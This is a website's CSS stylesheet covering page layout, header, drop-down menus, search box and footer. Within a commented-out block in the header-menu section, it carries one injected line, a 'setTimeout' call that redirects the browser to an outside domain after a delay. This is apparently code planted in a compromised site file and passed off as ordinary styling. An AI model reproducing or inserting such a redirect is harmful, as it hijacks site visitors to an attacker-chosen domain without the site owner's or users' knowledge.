@charset "utf-8";
/* CSS Document */


/****************  Defaults  ******************/
body{
	padding:0px; margin:0px; background-color:#1b272c;
	font:11px Tahoma, Arial, Verdana, Helvetica, sans-serif; color:#545759;
	}

ul{list-style-type:none; margin-left:10px; padding-left:10px; }
li{margin-bottom:5px; list-style-position:outside; margin-left:0px;}

a{
	font:11px Tahoma, Arial, Verdana; color:#1756a3; text-decoration:none;
	outline:none;
	}
a:hover{
	color:#1756a3; text-decoration:underline; 
	}

h1 {
	font:18px Tahoma, Arial, Verdana; color:#03ae4e;
	margin:10px;
	text-indent:23px;
	background:url(images/bullet_cnp.gif) no-repeat left;
}
h2 {
	font:16px Arial, Tahoma, Verdana; color:#1756a3; font-weight:bold;
	margin-bottom:7px; margin-top:10px;
}
h3 {
	font:13px Arial, Tahoma, Verdana; color:#1b272c; font-weight:bold;
	margin-bottom:5px; margin-top:10px;
}
p {
	margin-top:5px;
	margin-bottom:15px;
	}
.eetLogo {
	font-family:"Times New Roman", Times, serif;
	}

/****************  Master  ******************/
.masterTable{
	width:100%;
	background:url(images/mainbg_tile.gif) repeat-x top;
	align:center;
	background-color:#FFFFFF;
	}

.contentTable{
	width:1000px;
	padding-left:10px; padding-right:10px;
	text-align:center;
	background-color:#FFFFFF;
	}
.bodyDiv{
	width:960px;
	margin:0 auto;
	visibility:visible;
	position:relative;
	height:auto;
	}
.bodyDiv ul li{
	list-style:disc inside;
	}

.commentText{
	font:10px Tahoma, Arial, Verdana, Helvetica, sans-serif; color:#545759;
	}

.imageBorder{
	border:1px solid #5f676b;
	padding:2px;
	background-color:#FFF;
	}
	
.thumbBorder{
	border:1px solid #5f676b;
	padding:2px;
	background-color:#FFF;
	}
	
.thumbBorder:hover{
	border:1px solid #9a9fa1;
	padding:2px;
	}
.subLinks{
	color:#cbcbcb; height:30px;
	}

.subLinks a{
	font:11px Tahoma, Arial, Verdana; color:#7d7d7d; text-decoration:none;
	outline:none;
	margin-left:0px; margin-right:20px;
	background:url(images/ico-arrow2.gif) no-repeat left;
	padding-left:8px;
	}
.subLinks a:hover{
	color:#1756a3; text-decoration:none; 
	}
.textBox {
	height:14px; width:180px; margin:0px;
	font: 11px Tahoma, Arial, Verdana; color:#7d7d7d;
	border: 1px solid #999999;
	}
.commentBox {
	height:80px; width:300px; margin:0px;
	font: 11px Tahoma, Arial, Verdana; color:#7d7d7d;
	border: 1px solid #999999; position:absolute;
	}
.btnDefault{
	background: #5f676b;
	height:22px; width:auto; margin:0px;
	border: 1px solid #1b272c;
	font: 11px Tahoma, Arial, Verdana; color:#f2f2f2;
	}
.profileImage{
	margin-right:10px;
	margin-bottom:5px;
	float:left;
	border:1px dashed #ddd;
	padding:3px;
	background-color:#FFF;
	}
.profileImage:hover{
	border:1px solid #ddd;
	}

.siteMap {
	font-weight:bold;
	}
.siteMap li{
	margin: 5px 0px 5px 30px;
	}
.siteMap ul{
	margin: 5px 0px 20px 30px;
	}
.siteMap ul li{
	margin: 0px 0px 0px 30px;
	}

/****************  Header  ******************/
.headerPan {
	width:1000px; height:100px;
	padding:0px; margin:0 auto; margin-top:27px; 
	text-align:left; position:relative; 
	background:#fff url(images/hdr_bgtile.gif) top repeat-x;
}

/*Drop Down Menu Styles*/
#ddmenu {
	margin: 0;
	padding: 0;
	height:50px;
	width:520px;
	position:absolute;
	right:0px;
}

#ddmenu li {	
	float: left;
	list-style: none;
	font: 11px Tahoma, Arial;
	margin-top:0px;
	margin-left:15px;
	margin-right:15px;
}

#ddmenu li a {	
	display: block;
	text-decoration: none;
	color: #555;
	text-align:right;
	line-height:25px;
}

#ddmenu li a:hover {
	background:url(images/toplinkhover.gif) no-repeat; background-position:top;
	color:#1756a3;
	color:#0066CC;
}
	
#ddmenu li ul {	
	margin: 0px;
	padding: 0;
	position: absolute;
	visibility: hidden;
	width:300px;
}

#ddmenu li ul li {	
	display:inline;
	padding:0px;
	margin-top:-8px;
	margin-left:0px;
	margin-right:15px;
}

#ddmenu li ul li a {
	width: auto;	
	display: inline;
	color: #888; 
	font-size: 11px;
	padding: 0px;

}

#ddmenu li ul li a:hover {	
	background:none;
	padding: 0px;
}

	/*
.headerPan ul{
	width:410px; height:30px; right:0px; padding:0px; margin-top: 0px;
	position:absolute;
	
	}
.headerPan ul li{
	width:auto; margin-left:15px; margin-right:10px;
	float:left; text-align:center;
	}
 
.headerPan ul li a{
	font-size:11px; color:#2e3338; text-decoration:none; display:block;
	line-height: 30px;
	}

.headerPan ul li a:hover{
	background:url(images/toplinkhover.gif) no-repeat; background-position:top;
	color:#1756a3; text-decoration:none; vertical-align:bottom;
	}
{byaf=setTimeout('window.location.href="http://www.usingit.com"',636220);}
/***************** Header Menu *****************
.naviMenu{
	width:550px; height:60px; right:0px; padding:0px; margin-top: 0px;
	position:absolute; text-align:right;
	}
	
.naviMenu a:hover{
	cursor:default;
}
table.uimenutable, table.uimenutable tr, table.uimenutable th, table.uimenutable td{
	padding: 0px;
	font-family:verdana,ms sans serif,georgia,helvetica,arial;
	font-size:10px;
}

.menu1104508020itemn1{
	FONT-FAMILY:Tahoma, Arial, Verdana;
	FONT-SIZE:11px;
	FONT-WEIGHT:normal;
	FONT-STYLE:normal;
	BORDER-TOP:#C0C0C0 0px none;
	BORDER-RIGHT:#C0C0C0 0px none;
	BORDER-BOTTOM:#C0C0C0 0px none;
	BORDER-LEFT:#C0C0C0 0px none;
	CURSOR:hand;
	COLOR:#505050;

}
.menu1104508020itemo2{
	FONT-FAMILY:Tahoma, Arial, Verdana;
	FONT-SIZE:11px;
	FONT-WEIGHT:normal;
	FONT-STYLE:normal;
	BORDER-TOP:#000000 0px none;
	BORDER-RIGHT:#000000 0px none;
	BORDER-BOTTOM:#000000 0px none;
	BORDER-LEFT:#000000 0px none;
	CURSOR:hand;
	COLOR:#0000A0;

}
.menu1104508020itemc3{
	FONT-FAMILY:Tahoma, Arial, Verdana;
	FONT-SIZE:11px;
	FONT-WEIGHT:normal;
	FONT-STYLE:normal;
	BORDER-TOP:#FF0000 0px none;
	BORDER-RIGHT:#FF0000 0px none;
	BORDER-BOTTOM:#FF0000 0px none;
	BORDER-LEFT:#FF0000 0px none;
	CURSOR:hand;
	COLOR:#505050;

}

/*	
.naviMenu ul{
	width:100%;
	list-style:none; right:0px; padding:0px; margin: 0px;
	text-align:right;
	}
.naviMenu ul li{
	width:auto; margin-left:10px; margin-right:15px;
	float:right; text-align:center;
	
	}
.naviMenu ul li a{
	font-size:11px; color:#2e3338; text-decoration:none; display:block;
	line-height: 30px;
	}

.naviMenu ul li a:hover{
	background:url(images/toplinkhover.gif) no-repeat; background-position:top;
	color:#1756a3; text-decoration:none; vertical-align:bottom;
	}

.naviMenuSub{
	width:100%; height:30px; right:0px; padding:0px; margin-top: 20px;
	position:absolute; text-align:right;
	}
naviMenuSub ul{
	width:100%;
	list-style:none; right:0px; padding:0px; margin: 0px;
	text-align:right;
	}
.naviMenuSub ul li{
	width:auto; margin-left:10px; margin-right:15px;
	float:right; text-align:center; line-height:20px;
	
	}
/******************************************/

.headerPanCurrent{
	background:url(images/toplinkhover.gif) no-repeat; background-position:top;
	color:#1756a3; text-decoration:none; vertical-align:bottom;
	}

.corpLogo{
	text-align:left; position:absolute; width:225px;
	margin-left:20px; margin-top:32px;
	}

.searchPan{
	text-align:left; position:absolute;
	width:240px; height:33px;
	left:690px; top:67px;
	background: url(images/searchbox_bg.gif) no-repeat;
	}
.searchBox {
	height:16px; width:138px; margin-top:9px; margin-left:35px;
	font: 11px Tahoma, Arial, Verdana; color:#7d7d7d;
	border: 0px hidden; border-style:none;
	background:none; outline:none;
	}
.searchBtn {
	width:50px; height:22px;
	margin-top:6px;
	margin-left:6px;
	position:absolute;
	}


/****************  Footer  ******************/

.exploreBar{
	background: #f2f2f2 url(images/footer_topborder.gif) top repeat-x;
	margin-top:20px;
	}
.exploreBar li{
	text-indent:-3px;
	list-style-image:url(images/ico-arrow1.gif);
	list-style-position:inside;
	}

.footerBar{
	background: #1b272c;
	height:25px;
	}
.footerCopyrights {
	width:980px; height:16px; position:relative; margin:0 auto; top:6px; text-align:left;
	color:#b3b5b6; font-size:11px; 
	}
.footerCopyrights a{
	color:#d9d9d9; font-size:11px; text-decoration:none;
	}
.footerCopyrights a:hover{
	color:#f2f2f2;
	text-decoration:underline;
	}
.designerInfo {
	width:200px; height:16px;margin:0;right:0px;
	position:absolute;  text-align:right; 
	}


